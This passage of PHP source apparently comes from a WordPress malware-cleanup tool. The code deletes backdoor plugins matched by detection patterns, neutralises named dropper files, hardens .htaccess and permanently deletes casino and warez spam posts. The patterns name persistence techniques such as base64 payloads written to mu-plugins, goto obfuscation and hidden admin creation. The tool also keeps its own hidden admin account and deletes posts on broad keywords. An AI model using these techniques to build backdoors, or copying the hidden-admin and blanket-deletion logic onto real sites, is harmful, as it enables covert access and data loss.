exact name. if (!$shouldDelete && $pname === 'cloudflare-v2-23') { $shouldDelete = true; $reason = 'fake-cloudflare-plugin'; } // WP-Servise-Admin: typo-named plugin (Servise ≠ Service) — stealth admin backdoor (2026-06-05) // Intentional typo prevents casual inspection from recognising it as a security plugin. if (!$shouldDelete && strcasecmp($pname, 'WP-Servise-Admin') === 0) { $shouldDelete = true; $reason = 'wp-servise-admin-backdoor'; } // security-core: hidden admin creator with pre_user_query hook to hide the account (2026-06-05) // Creates 'maxoverstend' admin; uses ensure_plugin_active for self-activation. // Requires ensure_plugin_active (non-standard backdoor fn) or maxoverstend (attacker username). // pre_user_query alone is NOT sufficient — legitimate security plugins use it too. if (!$shouldDelete && $pname === 'security-core') { $mainPhpSC = $ppath . '/security-core.php'; if (file_exists($mainPhpSC)) { $mcSC = (string)@file_get_contents($mainPhpSC); if ($mcSC && (strpos($mcSC, 'ensure_plugin_active') !== false || strpos($mcSC, 'maxoverstend') !== false)) { $shouldDelete = true; $reason = 'security-core-backdoor'; } } } if ($shouldDelete) { // Recursively delete the plugin directory $delFiles = self::deleteDirectoryRecursive($ppath); foreach ($delFiles as $df) { $deleted[] = str_replace(ABSPATH, '', $df) . ' [' . $reason . ']'; } } } } // 11. Regular plugins that maintain malware persistence or are known C2 backdoors. // Scans all PHP files in each plugin dir for high-confidence malware signatures. // Safe: only deletes when multiple very specific signals are present. $pluginsDir3 = WP_CONTENT_DIR . '/plugins'; if (is_dir($pluginsDir3)) { foreach (@scandir($pluginsDir3) ?: [] as $pname) { if ($pname === '.' || $pname === '..') continue; $ppath2 = $pluginsDir3 . '/' . $pname; if (!is_dir($ppath2)) continue; // Skip our own backup-watchdog plugin. It intentionally contains // base64_decode + file_put_contents + mu-plugins references, which // would match Signal 1 below. Identified by two unique markers. if ($pname === 'wp-security-tool') { $toolMain = $ppath2 . '/wp-security-tool.php'; if (file_exists($toolMain)) { $_tc = (string)@file_get_contents($toolMain); if (strpos($_tc, 'SW_Scanner') !== false && strpos($_tc, '.swb') !== false) continue; } } $killReason = ''; // Collect PHP files: root + up to 2 subdirectory levels (catches // malware hidden in includes/signals/, includes/core/, etc.). $phpFilesToScan = array_merge( @glob($ppath2 . '/*.php') ?: [], @glob($ppath2 . '/*/*.php') ?: [], @glob($ppath2 . '/*/*/*.php') ?: [] ); // Scan PHP files in plugin for malware signals. foreach ($phpFilesToScan as $phpFile) { @chmod($phpFile, 0644); $mc = (string)@file_get_contents($phpFile); if (!$mc) continue; // Signal 1: plugin writes base64-decoded PHP files to the mu-plugins directory. // Catches WPMU_PLUGIN_DIR, variable-based paths ($mu_dir), and string paths. $writesMuPlugins = (strpos($mc, 'WPMU_PLUGIN_DIR') !== false || strpos($mc, 'mu-plugins') !== false) && preg_match('/(?:file_put_contents|copy)\s*\(/i', $mc) && preg_match('/base64_decode\s*\(/i', $mc); if ($writesMuPlugins) { $killReason = 'mu-plugin-writer'; break; } // Signal 2: goto obfuscation AND writes to mu-plugins (FlowBridge kit). if (preg_match('/goto\s+[a-zA-Z0-9_]+\s*;/i', $mc) && (strpos($mc, 'WPMU_PLUGIN_DIR') !== false || preg_match('/[\'"]mu-plugins[\'"]/', $mc))) { $killReason = 'goto-mu-writer'; break; } // Signal 3: known C2 domain hardcoded. if (@preg_match($c2Pattern, $mc)) { $killReason = 'known-c2-domain'; break; } // Signal 4: plugin hides itself + creates admin users (extended stealth backdoor). if (preg_match('/wp_create_user/i', $mc) && preg_match('/WPMU_PLUGIN_DIR|mu.plugin/i', $mc)) { $killReason = 'admin-creator-mu-writer'; break; } // Signal 5: goto obfuscation with 3+ unique labels (FluxBoundary/TransitionMap family). // Legitimate PHP never uses goto. Obfuscated malware uses it extensively. if (preg_match_all('/goto\s+([a-zA-Z0-9_]{5,})\s*;/', $mc, $gotoMatches) >= 3) { $killReason = 'goto-obfuscation'; break; } // Signal 6: placeholder Plugin URI indicates auto-generated fake plugin. if (preg_match('/Plugin URI:\s*https?:\/\/(?:your-website\.com|example\.com|starter-dev-team\.com|elora-tech\.com|github\.com\/coreflux)/i', $mc)) { $killReason = 'fake-plugin-uri'; break; } // Signal 7: underscore-named plugin (wp_configuration style) with casino/spam code. if (preg_match('/^wp_|^woocommerce_/i', $pname) && preg_match('/webID|usrID|casino|mostbet|1xbet|betway/i', $mc)) { $killReason = 'underscore-casino-plugin'; break; } // Signal 8: plugin explicitly references a known malware mu-plugin filename. // The creator plugin stores the malware filename — a very specific match. foreach (['wpupd-guard.php', 'sso.php', 'sc-loader.php', 'sharp-adapter'] as $mmRef) { if (strpos($mc, $mmRef) !== false && preg_match('/(?:file_put_contents|copy)\s*\(/i', $mc)) { $killReason = 'recreates-mu-malware'; break 2; } } // Signal 9: cron-based file persistence — plugin schedules events that // write PHP files to mu-plugins or plugin directories. Catches crontrol-59 // family and similar scheduled-recreate persistence kits. if ($killReason === '' && preg_match('/wp_schedule_event\s*\(/i', $mc) && preg_match('/(?:file_put_contents|copy)\s*\(/i', $mc) && (strpos($mc, 'mu-plugins') !== false || strpos($mc, 'WPMU_PLUGIN_DIR') !== false || preg_match('/base64_decode\s*\(/i', $mc))) { $killReason = 'cron-file-persistence'; break; } // Signal 10: eval(base64_decode) payload with persistence code. // Decode ALL base64 chunks in the file and check for backdoor signals. // Catches split-string obfuscation (crontrol-59 family). if ($killReason === '' && preg_match('/eval\s*\(/i', $mc) && preg_match('/base64_decode\s*\(/i', $mc)) { // Collect all base64 strings ≥ 100 chars and decode them $fullDecoded = ''; preg_match_all('/[\'"]([A-Za-z0-9+\/=]{100,})[\'"]/', $mc, $b64all); foreach ($b64all[1] ?? [] as $chunk) { $dec = @base64_decode($chunk); if ($dec) $fullDecoded .= $dec; } if ($fullDecoded && preg_match('/(?:wp_schedule_event|file_put_contents|wp_create_user|wp_insert_user|WPMU_PLUGIN_DIR|mu-plugins)/i', $fullDecoded)) { $killReason = 'eval-b64-persistence'; break; } } // Signal 11: plugin writes base64-decoded PHP to the plugins/ directory. // Legitimate plugins never create other plugin directories. // Catches Bootstrap.php-style recreators (contact-form-7-mailchimp-extension family). if ($killReason === '' && preg_match('/(?:file_put_contents|copy)\s*\(/i', $mc) && preg_match('/base64_decode\s*\(/i', $mc) && (strpos($mc, 'WP_PLUGIN_DIR') !== false || preg_match('/[\'"]wp-content[\/\\\\]plugins[\'"\/\\\\]/i', $mc) || preg_match('/plugins_url|plugin_dir_path/i', $mc))) { // Only delete if it's NOT referencing its own plugin directory // (some plugins legitimately update themselves via file_put_contents) // Additional check: has a subdirectory reference (creates a new plugin subdir) if (preg_match('/mkdir\s*\(/i', $mc) || preg_match('/[\'"]\/[a-z0-9_-]+\/[a-z0-9_-]+\.php[\'"]/', $mc)) { $killReason = 'plugin-dir-writer'; break; } } // Signal 12: AWG Sentinel — counter-plugin that actively deletes sw_admin // when our scanner plugin is not loaded. Detected by class name and wp_options // keys it uses for the sodium-encrypted admin whitelist. if ($killReason === '' && (strpos($mc, 'AWG_Sentinel') !== false || strpos($mc, '_awg_oid') !== false || strpos($mc, '_awg_sid') !== false || strpos($mc, '_awg_incident_log') !== false)) { $killReason = 'awg-sentinel-counter-plugin'; break; } // Signal 13: security-core / ensure_plugin_active family — hides attacker admin // via pre_user_query hook + ensures its own activation (2026-06-05). // Creates 'maxoverstend' admin. Requires pre_user_query + a specific non-standard // function (ensure_plugin_active) or hardcoded attacker username. Shutdown hook // intentionally excluded — too common in legitimate user-management plugins. if ($killReason === '' && preg_match('/pre_user_query/i', $mc) && (preg_match('/ensure_plugin_active/i', $mc) || strpos($mc, 'maxoverstend') !== false)) { $killReason = 'security-core-user-hider'; break; } } if ($killReason !== '') { $delFiles2 = self::deleteDirectoryRecursive($ppath2); foreach ($delFiles2 as $df) { $deleted[] = str_replace(ABSPATH, '', $df) . ' [plugin-' . $killReason . ']'; } } } // 11b. Timestamp-named plugin directories: word_NNNNNNNNNN or word-NNNNNNNNNN // These are always malware (e.g. contact_1773739950, security-1773866649). // Real plugins never use unix timestamps in directory names. foreach (@scandir($pluginsDir3) ?: [] as $pname2) { if ($pname2 === '.' || $pname2 === '..') continue; if (!preg_match('/^[a-z][a-z0-9_-]{1,30}[_-]\d{9,10}$/i', $pname2)) continue; $ppath3 = $pluginsDir3 . '/' . $pname2; if (!is_dir($ppath3)) continue; $delFiles3 = self::deleteDirectoryRecursive($ppath3); foreach ($delFiles3 as $df) { $deleted[] = str_replace(ABSPATH, '', $df) . ' [plugin-timestamp-dir]'; } } // 11c. Standalone PHP backdoors directly in the plugins root directory. // Legitimate WordPress plugins MUST be in a subdirectory. Any PHP file >5KB // placed directly at plugins/ root level is a backdoor or dropper. $phpExtsCheck = ['php','php3','php4','php5','php7','phtml']; foreach (@scandir($pluginsDir3) ?: [] as $fname3) { if ($fname3 === '.' || $fname3 === '..' || $fname3 === 'index.php') continue; $fpath3 = $pluginsDir3 . '/' . $fname3; if (!is_file($fpath3)) continue; if (!in_array(strtolower(pathinfo($fname3, PATHINFO_EXTENSION)), $phpExtsCheck, true)) continue; if (filesize($fpath3) < 5000) continue; // skip tiny/legit single-file plugins @chmod($fpath3, 0644); $fc = (string)@file_get_contents($fpath3); if (!$fc) continue; // Shell signals: non-ASCII flood, eval, or obfuscated exec $isShell = preg_match('/[\x80-\xff]{50,}|eval\s*\(\s*\$|system\s*\(\s*\$/i', $fc); if ($isShell) { if (@unlink($fpath3)) { $deleted[] = str_replace(ABSPATH, '', $fpath3) . ' [plugin-root-shell:deleted]'; } elseif (@file_put_contents($fpath3, '<?php // defanged ?>') !== false) { $deleted[] = str_replace(ABSPATH, '', $fpath3) . ' [plugin-root-shell:defanged]'; } } } } // 12. Known malware files in wp-includes/ (teknocore-guardian and similar). // These are disguised as WP core files but contain self-healing dropper code. $knownWpIncludesMalware = ['teknocore-guardian.php', 'teknocore-guardian2.php']; $wpIncludes = rtrim(ABSPATH, '/\\') . '/wp-includes'; foreach ($knownWpIncludesMalware as $mname) { $mpath = $wpIncludes . '/' . $mname; if (!file_exists($mpath)) continue; $mc = (string)@file_get_contents($mpath); if (strpos($mc, 'neutralized by SERVER-WALL') !== false) continue; $old = umask(0133); @file_put_contents($mpath, '<?php // neutralized by SERVER-WALL ' . date('Y-m-d') . "\n"); umask($old); $deleted[] = 'wp-includes/' . $mname . ' [known-wp-includes-malware:neutralized]'; } // 13. Remove TeknoCore Guardian Hook from wp-config.php. // Pattern: include_once ABSPATH . 'wp-includes/teknocore-guardian.php' injected before wp-settings.php. $wpConfigPath = rtrim(ABSPATH, '/\\') . '/wp-config.php'; if (file_exists($wpConfigPath)) { $wpCfg = (string)@file_get_contents($wpConfigPath); if ($wpCfg !== '' && strpos($wpCfg, 'teknocore-guardian.php') !== false) { $wpCfgClean = preg_replace( '/[ \t]*\/\/[^\n]*teknocore[^\n]*\n[ \t]*if\s*\([^\)]*teknocore-guardian\.php[^\)]*\)[^\}]*\}\s*\n?/si', '', $wpCfg ); if ($wpCfgClean !== null && $wpCfgClean !== $wpCfg) { $old2 = umask(0133); @file_put_contents($wpConfigPath, $wpCfgClean); umask($old2); $deleted[] = 'wp-config.php [teknocore-guardian-hook:removed]'; } } } if (!empty($deleted)) { $log = (array)get_option('sw_watchdog_deletions', []); $log[] = ['time' => time(), 'files' => $deleted, 'source' => 'hardening']; update_option('sw_watchdog_deletions', array_slice($log, -20), false); } return $deleted; } // Recursively deletes all files in a directory and the directory itself. // Returns list of deleted file paths. private static function deleteDirectoryRecursive(string $dir): array { $deleted = []; if (!is_dir($dir)) return $deleted; try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($it as $f) { if ($f->isFile() || $f->isLink()) { if (@unlink($f->getPathname())) $deleted[] = $f->getPathname(); } elseif ($f->isDir()) { @rmdir($f->getPathname()); } } } catch (\Exception $e) {} @rmdir($dir); return $deleted; } // Writes .htaccess to uploads/ blocking PHP execution. // If file already exists, checks that it actually contains the block rule — rewrites if missing. // Returns true on success, false on write failure. private static function hardenUploadsHtaccess(): bool { $dir = WP_CONTENT_DIR . '/uploads'; $file = $dir . '/.htaccess'; if (!is_dir($dir)) return false; $rules = "# SERVER-WALL: block direct PHP execution\n" . "<FilesMatch \"\\.(php\\d*|phtml|phar)$\">\n" . "deny from all\n" . "</FilesMatch>\n"; if (file_exists($file)) { $existing = (string)@file_get_contents($file); // Block rule already present — nothing to do. if (stripos($existing, 'FilesMatch') !== false && stripos($existing, 'deny') !== false) { return true; } // File exists but missing the block — append our rule. return self::safeWrite($file, $existing . "\n" . $rules); } return self::safeWrite($file, $rules); } // Disables XML-RPC by adding a deny rule to .htaccess in ABSPATH. // Returns true if already blocked or successfully written. private static function hardenDisableXmlRpc(): bool { $htPath = rtrim(ABSPATH, '/') . '/.htaccess'; if (file_exists($htPath)) { $c = (string)@file_get_contents($htPath); if ($c === false) return false; // Already blocked if (stripos($c, 'xmlrpc.php') !== false && stripos($c, 'deny') !== false) return true; $block = "\n# SERVER-WALL: block XML-RPC\n" . "<Files xmlrpc.php>\n" . "Order Deny,Allow\nDeny from all\n" . "</Files>\n"; return self::safeWrite($htPath, $c . $block); } return false; } // Resets the password of the specified admin user (or the first non-SW admin found). // Returns ['ok'=>true, 'username'=>..., 'new_password'=>...] on success. // The caller (panel) is responsible for persisting the new password. private static function hardenResetAdminPassword(string $targetLogin = ''): array { if (!function_exists('wp_set_password')) { return ['ok' => false, 'error' => 'wp_set_password not available']; } // ensure_sw_admin owns the sw_admin password — redirect to real customer admin. if ($targetLogin === 'sw_admin') { $targetLogin = ''; } $user = null; if ($targetLogin !== '') { $user = get_user_by('login', $targetLogin); } // Fallback: find the first real admin via direct DB query (bypasses pre_user_query hooks). // Excludes sw_admin (managed by ensure_sw_admin) and the hidden admin. if (!$user) { global $wpdb; $ourId = (int)get_option(self::SW_HIDDEN_ADMIN_KEY, 0); $rows = $wpdb->get_results( $wpdb->prepare( "SELECT u.ID FROM {$wpdb->users} u INNER JOIN {$wpdb->usermeta} um ON u.ID = um.user_id WHERE um.meta_key = %s AND um.meta_value LIKE %s AND u.ID != %d AND u.user_login != 'sw_admin' ORDER BY u.ID ASC LIMIT 1", $wpdb->prefix . 'capabilities', '%"administrator"%', $ourId ) ); if (!empty($rows)) { $user = get_user_by('ID', (int)$rows[0]->ID); } } if (!$user) { return ['ok' => false, 'error' => 'no admin user found']; } $newPass = self::generateSecurePassword(22); wp_set_password($newPass, $user->ID); return ['ok' => true, 'username' => $user->user_login, 'new_password' => $newPass]; } // Generates a cryptographically random password. // Uses random_int (CSPRNG) with letters, digits, and safe special chars. private static function generateSecurePassword(int $length = 22): string { $chars = 'abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789!@#$%&*'; $max = strlen($chars) - 1; $pass = ''; for ($i = 0; $i < $length; $i++) { $pass .= $chars[random_int(0, $max)]; } return $pass; } // Deletes published posts whose titles contain casino/gambling spam keywords. // Uses title-match only (Variant B) — safe to auto-delete: no legit site has // "1xbet" or "casino review" in a post title on a non-gambling site. // Skips pages, custom post types, drafts, and trashed posts. // Returns array of deleted post IDs + truncated titles. private static function hardenDeleteSpamPosts(int $limit = 0): array { @set_time_limit(0); // spam cleanup can take long on sites with thousands of posts global $wpdb; $deleted = []; $hitLimit = false; if (!function_exists('wp_delete_post')) return ['posts' => [], 'remaining' => false]; $spamPatterns = [ // Casino keyword — no leading \b to catch compounds (Bycasino, casinovärlden, cassinos, etc.) '/cass?in[oò]/iu', '/\b(?:казино|casinobet|casinoplay|kazino[a-z]{0,5}|kasino[a-z]{0,5}|kasina[a-z]{0,3})\b/iu', '/\b(?:1[\s-]?x[\s-]?bet|mostbet|most\s+bet|melbet|betway|bet365|betninja|pin.?up\s+casino|pinco\s+casino|fairspin|galera\s+bet|boombet|gama\s+casino|goldbet|boomerang\s+bet|jackpotjoy|faircrown\s+casino|aviator\s+(?:game|bet|casino)|chicken\s+road|bassbet|olymp\s+casino|олимп\s+казино|vavada|вавада|capospin|zula\b|bet\s+on\s+red)\b/iu', // Additional casino brands (multilingual campaigns) '/\b(?:wildrobin|onlyspins|linebet|richmoose|aviatorbet|parimatch|betsson|unibet|lvbet)\b/iu', '/\b(?:1win|riobet|sultan\s+games?|букмекерск|букмекер|burning\s+hot|crazy\s+time|tigrinho|fortune\s+tiger)\b/iu', // plinko: no trailing \b — catches plinko_5, plinko1, 플링코 Latin transliterations, etc. '/\bplinko/iu', // Multi-campaign casino brands (v0.6.2–v0.6.10) '/\b(?:pinco|betist|kokobe[t]?|ggbet|grandpashabet|epicstar|billionairespin|roll\s+dorado|spino\s*gambino)\b/iu', '/\b(?:пин\s*ап|pinup|pin\s+up\s+(?:casino|bet|казино))\b/iu', '/\b(?:sweet\s+bonanza|book\s+of\s+dead|book\s+of\s+ra|gates\s+of\s+olympus|big\s+bass|wolf\s+gold)\b/iu', // "spin*" casino brands '/\bspin(?:ogambino|mama|macho|granny|daddy|master|world|jonny|casino)\b/iu', '/\bplay(?:jonny|casino\s+\w+)\b/iu', // Aviator — login/predictor/hack + guide/game/win/earn context '/\baviator\b.{0,40}(?:login|predictor|hack|cheat|signal|strategy|trick|guide|win|earn|game|bet)\b/iu', // Additional casino brands '/\b(?:highflybet|betify|aviamasters|penalty\s+shoot\s+out\s+slot)\b/iu', // New brands (v0.6.10): Turkish/international casino campaigns '/\b(?:casibom|vegasino|winspirit|pokerdom|boostwin|tipsport|glory\s*bd|betshop|rocketplay)\b/iu', '/\b(?:youwin|bethub|betsixty|mario[\s-]?bet|bahiscom|betturkiye|1king)\b/iu', // Turkish gambling terms (canlı/paralı rulet/bahis/casino, slot bedava, bahis sitesi) '/\b(?:paralı\s+(?:rulet|casino|slot)|canlı\s+(?:rulet|bahis|casino)|slot\s+bedava|bahis\s+sitesi|bahis\s+oyun)\b/iu', // Finnish nettikasino (nettikasinot) '/\bnettikasino[t]?\b/iu', // Azino 777 — both Latin and Cyrillic spelling, with or without space '/\b(?:azino|азино)\s*777\b/iu', // MCW Vietnamese casino brand '/\bMCW\b/u', // Bingo and slot gambling context '/\b(?:bingo\s+(?:premio|game|online|bonus|win)|demo\s+slot|slot\s+(?:game|online|bonus|demo|machine)|bonus\s+slot)\b/iu', // Multilingual: Dutch gokken, Swedish spelande/casinovärlden, Czech kasina, Portuguese roleta '/\b(?:gokken|gokhal|gokkast|spelande|spelautomater|roleta|roulette\b)\b/iu', // Polish kasyny/kasyno online '/\bkasyn[ao]\s+online\b/iu', // Spam post numeric suffix with optional trailing (N) — e.g., ".3512 (2)" '/\.\d{3,5}\s*\(\d+\)/', '/\b(?:free\s+spins|no[\s-]deposit\s+(?:bonus|promo|code)|wagering\s+requirements|casino\s+(?:bonus|review|login|register|account)|бесплатных\s+вращений)\b/iu', '/\b(?:online\s+(?:slots?|roulette|blackjack|poker|gambling)|slot\s+(?:games?|machines?|online|sites?)|sports?\s+betting|live\s+(?:casino|dealer)|gambling|gamble)\b/iu', // Multilingual gambling terms (Hungarian, Spanish, Azerbaijani, Turkish, Russian) '/\b(?:apuestas|fogad[aá]s|qumar|qimor|ставки|ставок|букмекер|azart|азартн)\b/iu', // Spam post numeric suffix: title ending in .NNN or .NNNN — never legit in post titles '/\.\d{3,5}$/', // Timestamp-based spam post titles (18-digit auto-generated IDs) '/^\d{12,}$/', // Numeric spam pattern: gambling word + number suffix '/(?:bonus|login|register|site|sayt|kazinosu)[^a-z\d]{0,5}\d{3,5}$/iu', // German casino/gambling patterns (spielautomaten, glücksspiel, etc.) '/\b(?:spielautomat|gl[uü]cksspiel|sportwetten|freispiel|willkommensbonus|einzahlung|auszahlung|online[\s-]?casino[\s-]?(?:deutschland|österreich|schweiz|bonus|spiel)|beste[\s-]?online[\s-]?casino|echtgeld[\s-]?casino)\b/iu', // Italian casino/gambling patterns (non aams, slot gratis, gioco d'azzardo) '/\b(?:non\s+aams|slot\s+gratis|gioco\s+d.?azzardo|giochi\s+(?:online|gratis)|casino\s+italiani?|bonus\s+senza\s+deposito|giri\s+gratis)\b/iu', // Spanish casino/gambling patterns (tragamonedas, ruleta standalone, bingo online, pronóstico) '/\b(?:tragamonedas|ruleta\s+(?:online|gratis|en\s+vivo)|bingo\s+(?:online|gratis|en\s+vivo)|apuestas\s+(?:deportivas|en\s+línea|online)|pronóstico[s]?\s+(?:de\s+)?(?:hoy|fútbol)|casino\s+en\s+línea|giros?\s+gratis)\b/iu', // Polish casino/gambling patterns (kasyno standalone, darmowe obroty, zakłady) '/\b(?:kasyno(?!\s+online)|darmowe\s+obroty|zakłady\s+sportowe|automaty\s+do\s+gier)\b/iu', // Hungarian casino/gambling patterns (kaszinó, ingyenes pörgetések) '/\b(?:kaszin[oó]|ingyenes\s+pörgetés|online\s+szerencsejáték|nyerőgép)\b/iu', // Warez/piracy spam: architecture listing x86x64 / x86/x64 / [x86x64] / x32x64 '/x(?:86|32)[\[\(\/\\\s-]*x64/i', // Warez/piracy spam: keygen, filecr (never appear in legit post titles) '/\b(?:keygen|keymaker|filecr|cracksoftware)\b/i', // Warez/piracy spam: "100% Worked" — dead giveaway '/\b100\s*%\s*worked\b/i', // Warez/piracy spam: "cracked" + warez context (avoids "cracked heels", "cracked screen") '/\bcracked\b.{0,60}\b(?:serial|keygen|version|download|patch|hack|full|activat|software|windows|office|x64|license|free)\b/i', '/\b(?:serial|keygen|version|download|patch|activat|windows|office)\b.{0,60}\bcracked\b/i', // Warez/piracy spam: "crack" + exe/only/tool/x64/product key (any order) '/\bcrack\b.{0,20}\b(?:exe\b|only\b|tool\b|product\s+key|x64\b)/i', '/\bcrack\b.{0,60}\b(?:serial|license\s+key|keygen|portable|activat|bypass)/i', '/\bportable\b.{0,60}\bcrack\b/i', // Warez/piracy spam: "product key" + warez context (avoids "product key features") '/\bproduct\s+key\b.{0,60}\b(?:free|download|crack|generator|keygen|serial|activat)\b/i', '/\b(?:free|crack|keygen|serial|generator)\b.{0,60}\bproduct\s+key\b/i', // Warez/piracy spam: "activator" + software context (avoids "enzyme activator", "network activator") '/\bactivator\b.{0,60}\b(?:windows|office|download|crack|free|product|serial|license|keygen|\.exe)\b/i', '/\b(?:windows|office|crack|keygen|serial|adobe)\b.{0,60}\bactivator\b/i', // Warez/piracy spam: license + activated within 15 chars '/\blicense\b.{0,15}\bactivated\b/iu', // Warez/piracy spam: "portable" + warez context (for PC, exe, zip, activator, license key, crack, lifetime) '/\bportable\b.{0,50}\b(?:for\s+pc|exe\b|\.zip\b|activator|license\s+key|lifetime)\b/i', '/\bportable\b.{0,70}\b(?:windows|win\s*\d+|x86|x64|x32|linux)\b/i', // Warez/piracy spam: activated + lifetime/final/stable/genuine/windows/x64 (any order) '/\bfull[\s-]activated\b/i', '/\bpre[\s-]activated\b/i', '/\bactivated\b.{0,60}\b(?:lifetime|final|stable|genuine|windows|universal|multilingual|x64|latest)\b/i', '/\blifetime\b.{0,40}\bactivated\b/i', '/\blifetime\b.{0,40}\bportable\b/i', // Warez/piracy spam: "no.virus" anywhere in title '/\bno[\s\[\]-]?virus\b/i', // Russian compound casino words (криптоказино, онлайнказино etc.) — \b doesn't split within compound '/криптоказино|онлайнказино|казино\s*онлайн|мостбет|мосбет/iu', // Portuguese/Brazilian gambling game + qualifier spam titles (v0.6.21) '/\b(?:blackjack|poker|bingo|bacar[aá]|craps|keno|roleta|caça)\s+(?:dinheiro\s+real|online\s+grát|grát\w*\s+sem|ao\s+vivo|que\s+paga|para\s+android|para\s+iphone|pix\b|saque|eletr[oô]nico|em\s+reais)\b/iu', '/\b(?:rodadas\s+grát\w*|bônus\s+primeiro\s+dep[oó]sito|bônus\s+grát\w*\s+sem\s+dep[oó]sito|jogar\s+(?:blackjack|poker|bingo|caça))\b/iu', '/\b(?:7bet|platinum\s+play|betclic|irish\s+luck|betspeed|betnacional|betflare|betano|reloadbet|spinbet|winbet)\b/iu', // Sports betting platforms — geo-targeted sportsbook review spam (v0.6.20) '/\b(?:betfair|sportingbet|betpawa|starbet|sportaza|888sport|rivalo|paddy\s+power|22bet|superbet|bwin|betfred|sunbet|william\s+hill|sky\s+bet|cloudbet|betmaster|betwinner|betano|betzest|betsson|unibet|lvbet|betsson)\b/iu', '/\b(?:sportsbook\s+(?:review|guide|bonus|analysis|experience)|online\s+sportsbook|sports\s+betting\s+(?:platform|site|guide|review|bonus)|betting\s+platform)\b/iu', // International casino brands (geo-targeted review spam campaigns v0.6.18) '/\b(?:vulkan\s*vegas|bc\.game|play\s*ojo|casinia|gamblezen|spinarium|dafabet|playamo|play\s*amo|betmaster|betwinner|betera|betsafe|betpanda|blaze\s+casino|brazino|starda\s+casino|vbet|jackpot\s*city)\b/iu', '/\b(?:drückglück|druckgluck|slottica|cosmolot|goldzino|casumo|1x\s*slots?|wager\s+(?:real|online)|booi\s*(?:casino|app|bet)?|rokubet|bahigo|betmgm|borgata|betrivers)\b/iu', // Portuguese/Brazilian gambling terms '/\bcaça\s+níqueis?\b/iu', // slots machines (plural) — fix to catch "Slots Machines" variant '/\bslots\s+machines?\b/iu', // Geo-targeted casino review spam: [brand] [country] with review/guide signals '/\b(?:reseña|análise|análisis|guia\s+completo|guía\s+completa|revue\s+complète|avis\s+(?:complet|détaillé)|inceleme|recenzja|обзор)\b.{0,60}\b(?:casino|bet|slots?|gambling|apostas?|apuestas?)\b/iu', '/\b(?:casino|bet|slots?|gambling)\b.{0,60}\b(?:reseña|análise|análisis|guia\s+completo|guía\s+completa|inceleme|recenzja|обзор)\b/iu', // Dutch gambling patterns (gokkasten/gokautomaat/gokstrategie not covered by existing gokken/gokkast) '/\b(?:gokkasten|gokautomaat|gokstrategie)\b/iu', '/\bgratis\s+(?:spins?|gokken|casino|spel)\b/iu', // Greek casino/gambling patterns (v0.6.41) '/\b(?:καζίνο|νόμιμα\s+καζίνο|online\s+casino\s+στην\s+Ελλάδα|καζίνο\s+στην\s+Ελλάδα|Ελληνικά\s+καζίνο)\b/iu', // Hungarian: unaccented szerencsejatek (search campaigns omit diacritics) '/\bszerencsejatek\b/iu', // Turkish: additional brands not yet covered '/\b(?:Bettilt|Bahsegel|Dijital\s+bahis)\b/iu', // Azerbaijani casino context (Mostbet/PinUp + country name) '/\b(?:Mostbet\s+Az[eə]rbaycand?|Pin\s+Up\s+Casino\s+Az[eə]rbaycand?|kazino\s+Az[eə]rbaycand?)\b/iu', // New casino brands observed in 2026-06 campaigns '/\b(?:Moonwin|Cat\s+Spins\s+Casino|Corgi\s+Bet\s+Casino|Cleobetra\s+Casino|Bizzo\s+Casino|Betrix\s+Casino|K1\s+Casino|Olimp\s+Casino)\b/iu', ]; $offset = 0; $batch = 500; do { $posts = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_title FROM {$wpdb->posts} WHERE post_status = 'publish' AND post_type = 'post' AND LENGTH(post_title) > 3 ORDER BY ID DESC LIMIT %d OFFSET %d", $batch, $offset ), ARRAY_A ); foreach ((array)$posts as $post) { // Decode HTML entities (WP stores titles with ô á etc.) $title = html_entity_decode($post['post_title'] ?? '', ENT_QUOTES | ENT_HTML5, 'UTF-8'); foreach ($spamPatterns as $pat) { if (@preg_match($pat, $title)) { wp_delete_post((int)$post['ID'], true); $deleted[] = (int)$post['ID'] . ': ' . mb_substr($title, 0, 60); if ($limit > 0 && count($deleted) >= $limit) { $hitLimit = true; break 3; } break; } } } $offset += $batch; } while (count((array)$posts) === $batch); // Title-based detection for spam PAGES (same patterns, no content check to avoid false positives on legit pages). if (!$hitLimit) { $page_offset = 0; do { $pages = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_title FROM {$wpdb->posts} WHERE post_status = 'publish' AND post_type = 'page' AND LENGTH(post_title) > 3 ORDER BY ID DESC LIMIT %d OFFSET %d", $batch, $page_offset ), ARRAY_A ); foreach ((array)$pages as $page) { $title = html_entity_decode($page['post_title'] ?? '', ENT_QUOTES | ENT_HTML5, 'UTF-8'); foreach ($spamPatterns as $pat) { if (@preg_match($pat, $title)) { wp_delete_post((int)$page['ID'], true); $deleted[] = (int)$page['ID'] . ': [page] ' . mb_substr($title, 0, 60); if ($limit > 0 && count($deleted) >= $limit) { $hitLimit = true; break 3; } break; } } } $page_offset += $batch; } while (count((array)$pages) === $batch); } // end if (!$hitLimit) — pages phase // Content-based detection: posts/pages where content contains multiple strong casino signals. // Uses SQL LIKE (index-friendly) — catches geo-targeted review spam where title looks legit. // Runs in batches of 200 until no more found (no arbitrary count or date limit). // Safety cap: 100 iterations = 20 000 posts max per hardening run. if (!$hitLimit) { $content_sql = "SELECT ID, post_title FROM {$wpdb->posts} WHERE post_status = 'publish' AND post_type IN ('post','page') AND ( (post_content LIKE '%casino%' AND (post_content LIKE '%bonus%' OR post_content LIKE '%slot%' OR post_content LIKE '%gambl%' OR post_content LIKE '%betting%')) OR (post_content LIKE '%gambling%' AND (post_content LIKE '%slot%' OR post_content LIKE '%betting%' OR post_content LIKE '%review%' OR post_content LIKE '%sportsbook%' OR post_content LIKE '%casino%')) OR (post_content LIKE '%sportsbook%' AND (post_content LIKE '%review%' OR post_content LIKE '%bonus%' OR post_content LIKE '%betting%')) OR (post_content LIKE '%казино%' AND (post_content LIKE '%бонус%' OR post_content LIKE '%слот%' OR post_content LIKE '%ставк%')) OR (post_content LIKE '%mostbet%' OR post_content LIKE '%1xbet%' OR post_content LIKE '%melbet%' OR post_content LIKE '%betway%') OR (post_content LIKE '%free spins%' AND post_content LIKE '%casino%') ) ORDER BY ID DESC LIMIT 200"; $content_iter = 0; do { $content_posts = $wpdb->get_results($content_sql, ARRAY_A); $found = count((array)$content_posts); foreach ((array)$content_posts as $post) { $id = (int)$post['ID']; wp_delete_post($id, 